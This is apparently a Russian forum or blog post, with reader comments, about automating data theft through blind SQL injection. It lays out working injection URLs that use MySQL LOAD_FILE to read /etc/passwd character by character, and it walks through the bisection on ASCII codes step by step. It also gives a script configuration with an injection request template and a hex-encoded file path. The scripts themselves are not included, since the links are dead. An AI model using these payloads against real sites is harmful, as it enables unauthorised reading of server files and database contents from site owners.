автоматизация слива через blind sql-inj
Выкладываю пару скриптов автоматизации слива данных из слепой скули.
Первый скрипт долгий т.к. однопоточный, зато точный т.е. стопудов однозначно вычислит символ до которого дошел. Второй многопоточный, иногда немного недовычисляет при частых обрывах сети, однако допустим для вычисления текста файла функцией MySQL LOAD_FILE в самый раз т.к. гораздо быстрее обработает длинный текст, а не досчитанные символы можно самому догадатся или же пробежатся по ним первым скриптом.
Аналогов, наверное, существует немерянно, но несмотря на это, я думаю, что мои скрипты обладают отличным преймуществом – они очень гибкие т.к. примитивны и в них очень легко разобратся.
Что такое SQL-inj, в том числе и слепая скуля, как с ними быть и многое другое, на мой взгляд лучше всего описано в этом FAQ на rdot’е.
Как вы понимаете, если у вас слепая инъекция, то никаких прямых выводов на страницу не может быть. Вы задаете какой-либо предикат, а проще говоря, условие, например
128>ASCII(MID(LOAD_FILE('/etc/passwd'),1,1))
и в соответсвии с этим условием у вас отобразится, например, либо новость под номером 10, либо 9. Приведу пример полного запроса:
http://site.com/?id=IF(128>ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)),10,9) --
ну или так:
http://site.com/?id=10 AND 128>ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)) --
В первом примере, если 128 больше ASCII-кода первого символа файла /etc/passwd, то выведется страница с новостью 10, в противном случае, выведется 9. Второй случай практически идентичен первому, заисключением того, что если не больше ASCII-кода, то выведется неизвестно какая страница (для каждого сайта индивидуально, надо просто попробывать запрос http://site.com/?id= ), скорее всего это будет редирект на главную.
Вообще существует достаточно много всяких способов раксрутки слепых скулей, не только по странице, которую мы получаем на выводе. Короче читаем FAQ, ссылка на которую указана выше.
Так вот скрипт, берет допустим первый символ и формирует такой запрос:
128>=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))
если условие верно т.е. открылась страница с новостью 10, значит 128>=ASCII>=0, тогда скрипт делает запрос
64>=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))
– верно
32>=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))
– неверно
тогда следующий запрос, будет отталкиватся от кода 48 (48=32+32/2)
48>=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))
– верно
тогда вычитаем 8 (на прошлом ходе прибавляли 16, на каждом шаге делем на 2)
40>=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))
– неверно
44>=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))
– верно
42>=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))
– верно
41>=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))
– неверно
42=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))
– верно
таким образом мы за 9 шагов однозначно определили символ.
Далее скрипт берет следующий символ и начинает все заново.
128>=ASCII(MID(LOAD_FILE('/etc/passwd'),1,1))
Я не читал, все статьи по blind SQL-inj, поэтому если кто-то придумал такой перебор раньше меня, а так наверняка оно и есть, не обижайтесь, что здесь нет ссылки на вышу статью и укажите ее в комментариях.
Все разгаданные символы скрипт записывает в файл и выводит на экран консоли.
Она располагается в начале скрипте и представляет из себя инициализацию глобальных переменных.
#config
$request="/article.php?id=44+AND+##NUM####SIGN##ASCII%28MID%28##REPLACE##,##I##,1%29%29"
$outfile="outfile"
$priznak="eta_kartinka_est_tolko_v_statie_s_nomerom_44.jpg"
$func="LOAD_FILE%28"+"0x2f6574632f706173737764"+"%29" #/etc/passwd
$site="www.site.com"
$start=1
#config
$request – сам запрос, с метками:
- ##NUM## – число с которым сравнивается ASCII-код
- ##SIGN## – место, куда будет подставляться знак (>,=)
- ##REPLACE## – сама функция, задающаяся в переменной $func
- ##I## – номер символа
Задаем эту переменную в соответствии с нашим запросом, при этом правильно расставляем метки.
$outfile - файл куда будет все выводится.
$priznak – часть страницы, отличающая страницу с верным выводом от неверной. Т.е. при таком виде запроса
http://site.com/?id=10 AND 128>ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)) --
или
http://site.com/?id=IF(128>ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)),10,9) --
эта часть текста HTML должна присутствовать только в новости с индексом 10.
$func – функция, которую мы вызываем. Это может быть LOAD_FILE(), VERSION(), USER() итд, комбинации из них, короче все на что хватит фантазии.
$site – сайт, где располагается SQL-inj.
$start – номер символа, с которого начинать.
Принцип работы нечем не отличается, заисключением того, что скрипт вычисляет не последовательно символ за символом, а сразу паралельно несколько символов, количество которых равно количеству потоков заданных в конфигурации.
Конфигурация, такая же, добавился лишь один параметр $th_count. Он определяет количество потоков.
Чем же плох многопоточный вариант? При стабильном соединении с интернетом не чем т.е. он вычислит все символы как надо и быстро. Если же соединение часто обрывается, как например на 3G-модемах, то некоторые потоки будут умерать оставляя свой символ недовычисленным. Для примера, при нестабильном соединении (скорость скачет от 1КБ/с до 300КБ/с, соединение обрывается каждые 3-5 минут) из 10 символов 1 будет недовычислен.
Класс!
ps: the links are dead.
будет время перезалью
Boolean точно такой же написал. Я имею ввиду сам алгоритм, только на perl’e
я даже больше скажу, скриптов с таким принципом вагон.
За полтора года, с тех пор как я написал этот скрипт, не ища специально, не помню точно на каком форуме (то ли ачат, то ли перепост на рдоте) я обнаружил даже что-то типа оригинальной статьи о этом принципе раскрытии слепой инъекции, кстати, помойму там же был расписан еще один способ, который существенно сокращает количество шагов.
А если копать вообще глубоко-глубоко к истокам, то такой принцип изложен еще в кучерявых годах в математике и называется Методом бисекции.
Можно статью с рдота сюда копипастнуть? У меня он не открывается(
Вот сама статья: https://rdot.org/forum/showthread.php?t=245
Вот она же в кеше гугла: http://webcache.googleusercontent.com/search?q=cache:8B17Vlq6TXgJ:https://rdot.org/forum/showthread.php%3Ft%3D245+&cd=1&hl=ru&ct=clnk&gl=ru
Перезалей скрипты пожалуйста
У меня их нет, я их потерял где-то